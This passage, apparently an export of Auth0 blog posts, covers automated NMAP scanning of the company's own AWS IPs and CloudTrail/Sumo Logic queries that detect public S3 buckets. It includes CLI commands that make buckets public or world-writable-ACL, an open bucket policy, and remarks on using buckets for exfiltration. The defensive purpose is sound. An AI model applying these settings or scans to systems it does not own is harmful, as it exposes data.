channel.\n\n## Roadmap\n\nWe are currently working on the next major version of our main tools, focusing on:\n\n* **Scalability improvements**: Vivaldi, our Docker-based development environment, will run an increasing number of services without compromising the developer machine resources.\n* **Robustness**: Gynoid, our slack bots platform, will have end-to-end tests and its dependencies will be upgraded to the latest stable versions, allowing our team and contributors from other teams to introduce changes or develop new *droids* with confidence.\n\nAdditionally, we’re in the early stages (discovery, viability analysis, and ideation) for a **unified internal CLI** (command-line interface): we already have multiple CLIs that provide different types of functionality. As the number of CLIs keeps growing, it will become hard to keep track of them.\n\nSome teams will decide to use a different tech stack, which may require different runtime dependencies and a distinct CLI to better manage it. However, we could create a unified CLI, customizable and extensible to meet the needs of different tech stacks. Having a unified CLI will help internal toolchains scale while staying maintainable.\n\n## Conclusion\n\nWe aim to provide an optimal developer experience, unified across the engineering organization. To do this we take ownership of the toolchains, iterate to improve them and encourage teams to use these tools that have already proven their value on making developers more productive.\n\nWe dedicate our Developer Tools team efforts to the discovery, building, maintenance, and promotion of reusable solutions so that the rest of the engineers don’t have to struggle with repetitive tasks, walk through slow development cycles, or constantly switch contexts to take care of maintenance tasks that can be automated.\n\nWe want Auth0 engineers to be focused on building new features that solve the hard problems of identity for our customers.\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2019-04-09T08:00","readTime":9,"formattedDate":"Apr 9, 2019"},{"title":"AWS Increases Security Scan Freedom","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"zBRKWObOLiXtkXbyjQe9K","type":"Entry","createdAt":"2021-03-22T08:19:00.739Z","updatedAt":"2021-03-22T08:32:20.761Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"george-vauter","name":"George Vauter","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"52jIp3bscZs5rNp7fAp8Ji","type":"Asset","createdAt":"2021-03-22T08:32:19.787Z","updatedAt":"2021-03-22T08:32:19.787Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"george-vauter","description":"george-vauter avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/52jIp3bscZs5rNp7fAp8Ji/fd0ef651ddc79a5680a1b13a5b29a044/george-vauter","details":{"size":65926,"image":{"width":200,"height":200}},"fileName":"george-vauter","contentType":"image/png"}}},"lastUpdatedBy":"Unknown during the migration","email":"george.vauter@auth0.com","twitter":null,"github":null,"linkedin":"https://www.linkedin.com/in/georgevauter","isPopular":null,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Lead Cloud Security Engineer","description":"Security engineer, cloud junkie, software developer, and serverless enthusiast. Currently leading Cloud Security at Auth0. I enjoy building smart tooling that makes security and compliance easy to consume."}}],"path":"aws-increases-security-scan-freedom","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/7ngaWjpIEI0NJqKQzz2dSN/f21da2f31258421f9f2de337defc7f39/cloud-security","size":{"width":1176,"height":1056}},"description":"How Auth0 is leveraging the change to better understand and protect our cloud resources","category":["Engineering","Security","AWS"],"tags":["aws","security","cloud","cloud-engineering","lambda","pentesting","policy","sqs"],"postContent":"\n\nThanks to a recent change to the [_AWS penetration testing policy_](https://aws.amazon.com/security/penetration-testing/), AWS customers now have more freedom when performing security scans against their AWS resources. At Auth0 we’re leveraging this policy change to better understand and protect the cloud resources we expose to the world.\n\nBefore the policy was updated, AWS customers were required to submit a penetration testing authorization request and wait for approval before being permitted to perform a scan. This policy change allows penetration testing of many AWS services without the need for pre-approval.\n\n## What This New Policy Means for Security Teams\n\nAlmost every cloud security engineer has had the experience of filling out an AWS penetration testing request and waiting on a response. This manual process greatly reduced the velocity at which you could perform vulnerability scans. For organizations that push code to production often this left security teams playing a constant game of “catch-up”.\n\nOr maybe you’ve been the security engineer tasked with performing an external vulnerability scan of your AWS environment and were left guessing what Internet-facing resources even exist. Cloud providers like AWS make it so easy to put services on the Internet making it even harder to control what ports and protocols you’re exposing to the world.\n\nDaniel Miessler said it well in his recent blog post on this topic, [_./getawspublicips.sh: Know the Public AWS IPs You Have Facing the Internet_](https://danielmiessler.com/blog/getawspublicips-aws-public-ip-internet/):\n\n\u003e \"The biggest problem I see however \u0026mdash; by a wide margin \u0026mdash; is companies not having any idea what ports, protocols, and applications they are presenting to the world.\" ([Daniel Miessler](https://twitter.com/danielmiessler))\n\nOr you could be the security engineer receiving an alert or a vulnerability report with a public IP address that is almost impossible to track down inside your dynamic cloud environment. That IP could be long gone, released from your load balancer, and now associated with something and someone else entirely. The updated penetration testing policy opens the door to solving these problems.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"What greater @awscloud security scan freedom means for security teams. (Hint: reduced workload).\"/\u003e\n\n## What We Are Doing at Auth0\n\nThe Auth0 Cloud Security team is taking advantage of this policy change to improve the way we track and protect our Internet footprint. In the past, we’ve relied on scheduled external scans of our AWS environment to validate what services, ports, and protocols we were exposing. We typically were left performing these scans monthly or quarterly, simply due to the manual overhead of getting approval and scanning our entire environment within the allotted time window. Since we have over 120 AWS accounts and operate out of several regions, this was a real challenge.\n\nThe first step to enabling continuous external vulnerability scans was getting a full view of our public IP footprint. With the dynamic nature of public IP assignment to things like ELBs and CloudFront distributions, this required some engineering work. Fortunately, we already had internal tooling that continuously crawls our AWS environment to capture the public IPs being used. This tool consists of some simple Lambda functions that store public IP data in a DynamoDB table.\n\nTo make this data easily consumable we built a small REST API with a few query endpoints. This is a great tool to have at our fingertips when performing network forensics or investigating potential vulnerability findings that refer to public IP addresses. An example DynamoDB record is shown below.\n\n```json\n{\n “ipAddress”: “x.x.x.x”,\n “resourceId: “xyz.us-east-1.elb.amazonaws.com”,\n “resourceName”: “load-balancer-01”,\n “resourceType”: “AWS::ElasticLoadBalancingV2::LoadBalancer”,\n “account”: “12345678”,\n “region”: “us-east-1”\n “lastDiscovered”: “2019-03-14T20:00:44.160144”\n}\n```\n\nNext, we identified how we could use this public IP data to continuously scan our Internet footprint for unwanted services and vulnerabilities. We added some logic to our public IP discovery Lambda to feed a Simple Queue Service (SQS) queue with each discovered IP. Another Lambda function picks up that SQS message and does a few things:\n\n- It executes a Network Mapper (NMAP) scan against that IP address. We achieved this by crafting a Lambda Layer that contains the NMAP binary and supporting files allowing Lambda itself to execute the NMAP command.\n- It then feeds the IP address into other vulnerability scanning tools we use to run longer, more in-depth assessments against services listening at that IP address.\n\nHere is a high-level view of how the solution is put together.\n\n![AWS external scanning architecture flow chart](https://images.ctfassets.net/23aumh6u8s0i/14WXnbXULmjOAQy6Bu1KuM/877313a89cc5afd57356856fa38eaeeb/external-scanning)\n\nWe’ve set this up to run continuously across all the accounts and regions we utilize. Getting this outside-in view of our cloud infrastructure provides many benefits:\n\n- We can continuously detect potential vulnerabilities in our Internet-facing services\n- We can be alerted when a new Internet-facing resource is provisioned\n- We can detect overly permissive security groups which expose more ports than necessary to the Internet\n- We are enabled to better perform forensics knowing our public IP footprint at any point in time\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"How Auth0 is leveraging the recent change in @aws penetration policy.\"/\u003e\n\n## Moving From Manual to Automated\n\nThe latest AWS penetration testing policy update is great news for security teams. At Auth0 we’ve been able to convert a once-manual and time-consuming process into an automated and continuous defensive control. After running our solution for a week we collected over 3,800 public IP addresses used by our AWS resources. We are continuing to enhance our tooling and hope to open source much of what we have built in the near future.\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2019-04-02T09:00","readTime":5,"formattedDate":"Apr 2, 2019"},{"title":"Fantastic! Public S3 Buckets and How to Find Them","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"afUtVgqD7cDM67aHaL6pD","type":"Entry","createdAt":"2021-03-22T08:18:32.812Z","updatedAt":"2021-03-22T08:30:36.058Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"davide-barbato","name":"Davide Barbato","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"5pbxUBD94SNfl5gU8sY54h","type":"Asset","createdAt":"2021-03-22T08:30:34.825Z","updatedAt":"2021-03-22T08:30:34.825Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"davide-barbato","description":"davide-barbato avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/5pbxUBD94SNfl5gU8sY54h/be95de0e4291a6e70ad161b69e65c65f/davide-barbato","details":{"size":36195,"image":{"width":170,"height":170}},"fileName":"davide-barbato","contentType":"image/png"}}},"lastUpdatedBy":"Unknown during the migration","email":"davide.barbato@auth0.com","twitter":"https://twitter.com/davbarbato","github":null,"linkedin":null,"isPopular":null,"personalWebsite":null,"type":"Former Auth0 Employee","jobTitle":"Security Engineer","description":"Security is a mindset. It's something that goes beyond IT and working hours. In Auth0 I've found a community of people who live and breath security, who are passionate about it and are self-motivated to grow and make an impact — exactly as I am."}}],"path":"fantastic-public-s3-buckets-and-how-to-find-them","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/56S9oDWKVeNY8AIszkZvw1/7d6794f3d31d4eedb5a3d3699e796e5c/default","size":{"width":1764,"height":1584}},"description":"Discover how AWS communicates the creation of S3 buckets and the implications of relaxed permissions.","category":["Engineering","Best Practices","AWS"],"tags":["aws","security","s3","buckets","data","breach","leak","cybersecurity"],"postContent":"\n\nUnwanted public S3 buckets are a continuous threat. They have been (and still are) causing havoc all over the web. There are several tools out there to help your company with finding public S3 buckets. They are almost all standalone scripts or lambda functions that query the AWS APIs via some sort of SDK (Python, Node.js, etc.).\n\nBut when **centralized security** is implemented, as we have done so at Auth0, this task can be performed using a data lake or any sort of system/service where logs are aggregated, analysed, and acted upon. In that regard, the first source for your AWS events is [CloudTrail](https://aws.amazon.com/cloudtrail/).\n\nDigging around the Internet we didn't find enough resources that explained to us the different ways an S3 bucket can be made public and how to detect it in raw CloudTrail logs, so we started playing around, running tests and building queries to find that out. This blog post will guide you through our process, our findings, and our solutions.\n\n\u003eBitdefender compiled a [list of the 10 worst Amazon S3 breaches](https://businessinsights.bitdefender.com/worst-amazon-breaches).\n\n![Illustration of data being contained within a bucket](https://images.ctfassets.net/23aumh6u8s0i/3nfQuM5R1T0zpcgAiHdNQW/4f4436d55550a88fdc5b0ac094c9b073/1_TynPqQnQu1cIcxQc7DwFDw)\n\n[Source](https://read.acloud.guru/how-to-secure-an-s3-bucket-7e2dbd34e81b)\n\n## The Context\n\nBefore getting into the technical details, let’s have an overview of the context in which those tests were running, which technologies were involved, and how we linked them all together.\n\nWe’ve tested the creation of buckets in two ways: via the AWS command line interface (`aws` CLI) and the web console. We’ve also tested policy changes, both access control lists (ACLs) and individual permissions.\n\nWe wanted to cover all the possible ways that a user, malicious or not, could use to create a public S3 bucket: by mistake, for data exfiltration, or for command and control (yes, you can use it even for that, my dear pentester friends).\n\n\u003e\"[Data exfiltration](https://whatis.techtarget.com/definition/data-exfiltration-data-extrusion), also called data extrusion, is the unauthorized transfer of data from a computer.\" *(TechTarget)*\n\nAs a Security Information and Event Management (SIEM) solution we’re working with Sumo Logic. We send all logs to it and we’ve designed the CloudTrail logs coming from every AWS account to be collected in a centralized S3 bucket that is “drained” by the Sumo Logic collector and organized in the source category named `cloudtrail_aws_logs`.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"We wanted to cover all the possible ways that a user, malicious or not, could use to create a public S3 bucket. Learn more on how to do it.\"/\u003e\n\n## The S3 Bucket Permission Model\n\nLet's have a quick overview of the type of permissions an S3 bucket can have and how they can be used to make one public.\n\n\u003eFor a complete and detailed explanation, we highly recommend reading the official [AWS documentation](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html).\n\n### Bucket ACLs\n\nThe easiest way to setup a bucket public is to use the canned policy `public-read` on the bucket. By default, both via the web console and the command-line interface (CLI), the buckets are created with an ACL `private.`\n\nCanned ACLs provide an easy and quick way to set up global permissions in one shot. However, one can apply specific policies to grant or deny access to specific entities.\n\nThere are five permissions that can be granted: \n\n- `READ`\n- `READ_ACP`\n- `WRITE`\n- `WRITE_ACP`\n- `FULL_PERMISSION`\n\n`READ`, `WRITE` and `FULL_PERMISSION` are definitely self-explanatory and apply to every object on the bucket (and the bucket itself). The Adjacent Channel Protection (ACP) part of the other permissions are related to the ACLs: with those permissions granted, an user can read and/or write the ACL (but not the objects).\n\nThose policies go together with the entity to which they are attached. More specifically, the _Grantee_. A Grantee is an object who holds three or four basic pieces of information (depending on the type): the type of the grantee (`CanonicalUser` or `Group`), the XML XSI schema and the ID (in case of a type CanonicalUser) or the URI (in case of a type Group). CanonicalUser types also carry a `DisplayName` property, not present in the Group ones.\n\nGroup can be one of the following:\n\n- AuthenticatedUsers\n- AllUsers\n- LogDelivery\n\nAs a security best practice, you should watch out for `AuthenticatedUsers` and `AllUsers` groups.\n\n### Bucket Policies\n\nPolicies are a tricky way to allow/disallow actions on the bucket’s object. Even if the bucket is created with a canned ACL that sets it to private, by adding a very basic policy we can make the whole bucket public. The policy to do that is as simple as:\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [{\n \"Sid\": \"ABC\",\n \"Effect\": \"Allow\",\n \"Principal\": { \"AWS\": \"*\" },\n \"Action\": [\"s3:GetObject\"],\n \"Resource\": [\"arn:aws:s3:::bucket_name/*\" ]\n }]\n}\n```\n\nAWS is able to recognize the effect of such policy and will show the “Public” tag on the bucket. While detecting the above policy is doable, detecting these kind of scenarios is a tricky task. Evaluating the impact that a policy could have on the bucket and its objects is something that cannot be done on a SIEM, but it requires external tools to simulate the policy, analyze the results, and evaluate the risks.\n\nAs [Rich Mogull](https://disruptops.com/author/rmogull/) points out on his article on [how S3 buckets become public](https://disruptops.com/how-s3-buckets-become-public-and-the-fastest-way-to-find-yours/), the way permissions are evaluated is bucket policies first and then bucket ACLs (both canned and extended). Of course, an explicit deny always takes precedence, regardless of where it is stated.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"For S3 buckets, the way permissions are evaluated is bucket policies first and then bucket ACLs. Learn more how this affects your security in the cloud.\"/\u003e\n\n### Object ACLs\n\nS3 objects do inherit parent bucket’s permissions, but they can also have their own ACL that can bypass such permissions. You can make single objects public while the bucket ACL states it’s private, although to access that object one must know the full path to it. While this is a security concern that you should address, it’s out of the scope of this article.\n\n## The Tests\n\nWe were interested in knowing how many ways those policies can be applied and how they show up in Cloudtrail, so we ran several tests with different parameters to experiment and build up our Sumo Logic detection query.\n\n### Detecting Bucket ACLs: The Command Line Way\n\nFirst shot was to alert on something we were familiar with: canned ACLs. The easiest way to create a public bucket with such policies is via the command line.\n\nWe used the following CLI command to create a bucket with a public-read policy:\n\n```bash\n$ aws s3api create-bucket --acl public-read --bucket davide-public-test --region us-east-1\n```\n\nAnd this is what we got in the trail:\n\n```json\n{\n \"eventVersion\": \"1.05\",\n \"userIdentity\": {\n \"type\": \"AssumedRole\",\n \"principalId\": \"AROADBDBDBDBDBDBDBDBD:1544653190000000000\",\n \"arn\": \"arn:aws:sts::107000000000:assumed-role/AssumedRole/1544653190000000000\",\n \"accountId\": \"107000000000\",\n \"accessKeyId\": \"ASIARRDBDBDBDBDBDBDB\",\n \"sessionContext\": {\n \"attributes\": {\n \"mfaAuthenticated\": \"true\",\n \"creationDate\": \"2018-12-12T22:19:53Z\"\n },\n \"sessionIssuer\": {\n \"type\": \"Role\",\n \"principalId\": \"AROADBDBDBDBDBDBDBDBD\",\n \"arn\": \"arn:aws:iam::107000000000:role/AssumedRole\",\n \"accountId\": \"107000000000\",\n \"userName\": \"AssumedRole\"\n }\n }\n },\n \"eventTime\": \"2018-12-12T22:22:56Z\",\n \"eventSource\": \"s3.amazonaws.com\",\n \"eventName\": \"CreateBucket\",\n \"awsRegion\": \"us-east-1\",\n \"sourceIPAddress\": \"73.xx.xx.xx\",\n \"userAgent\": \"[aws-cli/1.11.160 Python/2.7.10 Darwin/18.2.0 botocore/1.7.18]\",\n \"requestParameters\": {\n \"x-amz-acl\": [\n \"public-read\"\n ],\n \"bucketName\": \"davide-public-test\"\n },\n \"responseElements\": null,\n \"requestID\": \"0BCE63ACB970D013\",\n \"eventID\": \"76b81a5d-3e8f-4923-b065-dff822fe0af9\",\n \"eventType\": \"AwsApiCall\",\n \"recipientAccountId\": \"107000000000\"\n}\n```\n\nThere are few interesting things to note here:\n\n- Event name is `CreateBucket` (as expected)\n- `requestParamenters.x-amz-acl` is set to `public-read`, which is the canned ACL we specified on the command line\n- The username is the assumed role (`AssumedRole`) and not the user who assumed that role\n\nBuilding a query which catches that is pretty straight forward:\n\n```bash\n(_sourceCategory=cloudtrail_aws_logs AND (\"CreateBucket\"))\n| json \"eventName\", \"requestParameters.bucketName\", \"requestParameters.x-amz-acl\", “userIdentity.accountId\", \"userIdentity.arn\", \"userIdentity.sessionContext.sessionIssuer.userName\", \"sourceIPAddress\", \"eventTime\" as event, bucket, acl, account, arn, user, src_ip, datetime nodrop\n| where acl matches \"*public*\"\n| if (isNull(acl), \"null\", acl) as acl\n| count by datetime, account, account_name, bucket, acl, user, src_ip, arn, event\n| fields -_count\n| sort by datetime\n```\n\nWe specified in the first row the “CreateBucket” event action to speed up the filtering process. We then parsed some of the fields to be able to apply some logic. You can notice the `requestParameters.x-amz-acl` which is named `acl` and the following `where` clause: `where acl matches \"*public*\"`. In this way we are not only detecting the `public-read` ACL, but also the `public-write` and `public-read-write`.\n\nNote that, since the username is the assumed role, the real user who assumed that role is not exposed, making attribution a little bit harder (depending on how your team structures IAM roles and users).\n\n### Detecting Bucket ACLs: The Web Console Way\n\nFunny enough, you cannot create a bucket with a canned ACL straight from the web console wizard. To apply a canned ACL, first you have to create the bucket and after that you have to manually set the “Everyone” permission on it. By enabling the following properties, you can get:\n\n- “List” applies the `public-read` ACL\n- “Write” applies the `public-write` ACL\n- “List” and “Write” apply the `public-read-write` ACL\n\nThis generates the following create bucket event:\n\n```json\n{\n \"eventVersion\": \"1.05\",\n \"userIdentity\": {\n \"type\": \"AssumedRole\",\n \"principalId\": \"AROADBDBDBDBDBDBDBDBD:davideruser\",\n \"arn\": \"arn:aws:sts::107000000000:assumed-role/AssumedRole/davideruser\",\n \"accountId\": \"107000000000\",\n \"accessKeyId\": \"ASIARRDBDBDBDBDBDBDB\",\n \"sessionContext\": {\n \"attributes\": {\n \"mfaAuthenticated\": \"true\",\n \"creationDate\": \"2018-12-18T16:10:22Z\"\n },\n \"sessionIssuer\": {\n \"type\": \"Role\",\n \"principalId\": \"AROADBDBDBDBDBDBDBDBD\",\n \"arn\": \"arn:aws:iam::107000000000:role/AssumedRole\",\n \"accountId\": \"107000000000\",\n \"userName\": \"AssumedRole\"\n }\n }\n },\n \"eventTime\": \"2018-12-18T16:21:48Z\",\n \"eventSource\": \"s3.amazonaws.com\",\n \"eventName\": \"CreateBucket\",\n \"awsRegion\": \"us-west-2\",\n \"sourceIPAddress\": \"73.xx.xx.xx\",\n \"userAgent\": \"[S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.467 Linux/4.9.124-0.1.ac.198.71.329.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.192-b12 java/1.8.0_192]\",\n \"requestParameters\": {\n \"CreateBucketConfiguration\": {\n \"LocationConstraint\": \"us-west-2\",\n \"xmlns\": \"http://s3.amazonaws.com/doc/2006-03-01/\"\n },\n \"bucketName\": \"davide-public-test-02\"\n },\n \"responseElements\": null,\n \"additionalEventData\": {\n \"vpcEndpointId\": \"vpce-83a16cea\"\n },\n \"requestID\": \"E4BA1F14D9D2E18F\",\n \"eventID\": \"6d772d8c-c0b6-471c-b9a5-986d618788f8\",\n \"eventType\": \"AwsApiCall\",\n \"recipientAccountId\": \"107000000000\",\n \"vpcEndpointId\": \"vpce-83a16cea\"\n}\n```\n\nFollowed by the change in the S3 bucket policy:\n\n```json\n{\n \"eventVersion\": \"1.05\",\n \"userIdentity\": {\n \"type\": \"AssumedRole\",\n \"principalId\": \"AROADBDBDBDBDBDBDBDBD:davideruser\",\n \"arn\": \"arn:aws:sts::107000000000:assumed-role/AssumedRole/davideruser\",\n \"accountId\": \"107000000000\",\n \"accessKeyId\": \"ASIARRDBDBDBDBDBDBDB\",\n \"sessionContext\": {\n \"attributes\": {\n \"mfaAuthenticated\": \"true\",\n \"creationDate\": \"2018-12-18T16:10:22Z\"\n },\n \"sessionIssuer\": {\n \"type\": \"Role\",\n \"principalId\": \"AROADBDBDBDBDBDBDBDBD\",\n \"arn\": \"arn:aws:iam::107000000000:role/AssumedRole\",\n \"accountId\": \"107000000000\",\n \"userName\": \"AssumedRole\"\n }\n }\n },\n \"eventTime\": \"2018-12-18T16:21:49Z\",\n \"eventSource\": \"s3.amazonaws.com\",\n \"eventName\": \"PutBucketAcl\",\n \"awsRegion\": \"us-west-2\",\n \"sourceIPAddress\": \"73.xx.xx.xx\",\n \"userAgent\": \"[S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.467 Linux/4.9.124-0.1.ac.198.71.329.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.192-b12 java/1.8.0_192]\",\n \"requestParameters\": {\n \"bucketName\": \"davide-public-test-02\",\n \"AccessControlPolicy\": {\n \"AccessControlList\": {\n \"Grant\": [\n {\n \"Grantee\": {\n \"xsi:type\": \"CanonicalUser\",\n \"DisplayName\": \"my-funny-aws-account\",\n \"xmlns:xsi\": \"http://www.w3.org/2001/XMLSchema-instance\",\n \"ID\": \"102myid\"\n },\n \"Permission\": \"FULL_CONTROL\"\n },\n {\n \"Grantee\": {\n \"xsi:type\": \"Group\",\n \"xmlns:xsi\": \"http://www.w3.org/2001/XMLSchema-instance\",\n \"URI\": \"http://acs.amazonaws.com/groups/global/AllUsers\"\n },\n \"Permission\": \"READ\"\n },\n {\n \"Grantee\": {\n \"xsi:type\": \"CanonicalUser\",\n \"DisplayName\": \"my-funny-aws-account\",\n \"xmlns:xsi\": \"http://www.w3.org/2001/XMLSchema-instance\",\n \"ID\": \"102myid\"\n },\n \"Permission\": \"FULL_CONTROL\"\n }\n ]\n },\n \"xmlns\": \"http://s3.amazonaws.com/doc/2006-03-01/\",\n \"Owner\": {\n \"DisplayName\": \"my-funny-aws-account\",\n \"ID\": \"102myid\"\n }\n },\n \"acl\": [\n \"\"\n ]\n },\n \"responseElements\": null,\n \"additionalEventData\": {\n \"vpcEndpointId\": \"vpce-83a16cea\"\n },\n \"requestID\": \"1CEC6F7002EED8AA\",\n \"eventID\": \"6363c8a7-56dd-4e1f-92cd-699ba8a55613\",\n \"eventType\": \"AwsApiCall\",\n \"recipientAccountId\": \"107000000000\",\n \"vpcEndpointId\": \"vpce-83a16cea\"\n}\n```\n\nFrom this event data, there are a few items that call for our immediate attention:\n\n- `userIdentity` now shows my real username, even though I’ve assumed one (`AssumedRole`)\n- `userAgent` confirms we’re performing the operation through the web console\n- `requestParameters` looks completely different\n\nThe `requestParameters` field is where all the magic happens: a new field appear as `AccessControlPolicy.AccessControlList.Grant` (reported as JSON syntax here). Grant keeps a list of all the `Grantee`, i.e. entities who have access to the bucket. There are several entities that we can find on the aforementioned links above. We will focus only on the following:\n \n `http://acs.amazonaws.com/groups/global/AllUsers`\n \nThat grantee is clearly something we don’t want, regardless of the permission associated to it.\n\nWe can then add it to the new Sumo Logic query, paying attention to adding the new event type (PutBucketAcl) and the new headers we found:\n\n```bash\n(_sourceCategory=cloudtrail_aws_logs AND (\"PutBucketAcl\" OR \"CreateBucket\"))\n| json \"eventName\", \"requestParameters.bucketName\", \"requestParameters.x-amz-acl\", \"userIdentity.accountId\", \"userIdentity.arn\", \"userIdentity.sessionContext.sessionIssuer.userName\", \"sourceIPAddress\", \"requestParameters.AccessControlPolicy.AccessControlList.Grant[*].Grantee.URI\", \"requestParameters.AccessControlPolicy.AccessControlList.Grant[*].Permission\", \"eventTime\" as event, bucket, acl, account, arn, user, src_ip, grant_uri, permission, datetime nodrop\n| where (grant_uri matches \"*AllUsers*\" or grant_uri matches \"*AuthenticatedUsers*\") or (acl matches \"*public*\") \n| if (isNull(grant_uri), \"null\", grant_uri) as grant_uri\n| if (isNull(acl), \"null\", acl) as acl\n| count by datetime, account, account_name, bucket, acl, user, src_ip, arn, permission, grant_uri, event, grant_read, grant_write\n| fields -_count\n| sort by datetime\n```\n\n## More Ways to Detect a Public Bucket Using the CLI\n\nWe have seen how to detect public S3 buckets created with a canned ACL (via the command line) and created with \"Everyone\" permissions via the web console.\n\nThere is another way we can make an S3 bucket public: by specifying the Grant ACP permissions via the command line.\n\nThe concept is the same as clicking on the Everyone group on the web console, something we already discussed on the previous section. Via the command line, however, AWS adds new headers that are not present in the web console activity, thus we risk to lose events if we don’t add them to our query.\n\nThey are: `requestParameters.x-amz-grant-read`, `requestParameters.x-amz-grant-read-acp`, `requestParameters.x-amz-grant-write` and `requestParameters.x-amz-grant-write-acp`.\n\nYou can test it out with: \n\n```bash\naws s3api create-bucket --bucket db-test-bucket-public --region us-east-1 --grant-write-acp 'uri=\"http://acs.amazonaws.com/groups/global/AllUsers\"'\n```\n\nStarting off our last Sumo Logic query, we can easily integrate this new information:\n\n```bash\n(_sourceCategory=cloudtrail_aws_logs AND (\"PutBucketAcl\" OR \"CreateBucket\"))\n| json \"eventName\", \"requestParameters.bucketName\", \"requestParameters.x-amz-acl\", \"requestParameters.x-amz-grant-read\", \"requestParameters.x-amz-grant-read-acp\",\"requestParameters.x-amz-grant-write\", \"requestParameters.x-amz-grant-write-acp\",\"userIdentity.accountId\", \"userIdentity.arn\", \"userIdentity.sessionContext.sessionIssuer.userName\", \"sourceIPAddress\", \"requestParameters.AccessControlPolicy.AccessControlList.Grant[*].Grantee.URI\", \"requestParameters.AccessControlPolicy.AccessControlList.Grant[*].Permission\", \"eventTime\" as event, bucket, acl, grant_read, grant_read_acp, grant_write, grant_write_acp, account, arn, user, src_ip, grant_uri, permission, datetime nodrop\n| where (grant_uri matches \"*AllUsers*\" or grant_uri matches \"*AuthenticatedUsers*\") or (acl matches \"*public*\") or (grant_read matches \"*AllUsers*\") or (grant_read matches \"AuthenticatedUsers\") or (grant_read_acp matches \"*AllUsers*\") or (grant_read_acp matches \"AuthenticatedUsers\") or (grant_write matches \"*AllUsers*\") or (grant_write matches \"*AuthenticatedUsers*\") or (grant_write_acp matches \"*AllUsers*\") or (grant_write_acp matches \"*AuthenticatedUsers*\")\n| if (isNull(grant_uri), \"null\", grant_uri) as grant_uri\n| if (isNull(permission), \"null\", permission) as permission\n| if (isNull(acl), \"null\", acl) as acl\n| if (isNull(grant_read), \"null\", grant_read) as grant_read\n| if (isNull(grant_write), \"null\", grant_write) as grant_write\n| count by datetime, account, account_name, bucket, acl, user, src_ip, arn, permission, grant_uri, event, grant_read, grant_write\n| fields -_count\n| sort by datetime\n```\n\n## Conclusion\n\nIn this article we’ve learned how to detect public S3 buckets with AWS CloudTrail. We identified the different ways AWS uses to communicate the creation of an S3 bucket and the implications of relaxed permissions. Depending on the interface used (web console or CLI), AWS adds different headers, which makes detection a little bit tricky. I encourage you to use this information to identify your public S3 buckets and determine what truly needs to remain public and what should be immediately made private.\n\nIf you do so, I recommend that you dig into remediation via security orchestration: make private a public S3 bucket while notifying the user and your security team. Would you be interested in a follow-up blog post that teaches you how to easily perform this remediation step? Let me know in the comments below, please.\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2019-02-05T14:11","readTime":12,"formattedDate":"Feb 5, 2019"},{"title":"Creating a Node gRPC Service Using Mali","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"5oN9dQPHhee8TSQq6yl8EM","type":"Entry","createdAt":"2021-03-22T08:21:48.278Z","updatedAt":"2021-03-22T08:42:51.694Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"tim-ferrell","name":"Tim Ferrell","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"5UUvDXBmA4iNcGC46KE310","type":"Asset","createdAt":"2021-03-22T08:42:50.566Z","updatedAt":"2021-03-22T08:42:50.566Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"tim-ferrell","description":"tim-ferrell avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/5UUvDXBmA4iNcGC46KE310/acd61dec3b3bc108c0cb2ad1d86040e9/tim-ferrell","details":{"size":56870,"image":{"width":183,"height":196}},"fileName":"tim-ferrell","contentType":"image/png"}}},"lastUpdatedBy":"Unknown during the migration","email":"timothy.ferrell@auth0.com","twitter":null,"github":null,"linkedin":"https://www.linkedin.com/in/timothyferrell/","isPopular":null,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Engineer","description":"I enjoy meeting the complex technical challenges that Auth0 faces with the support that I get through the company's unique culture and distributed workforce. It’s truly 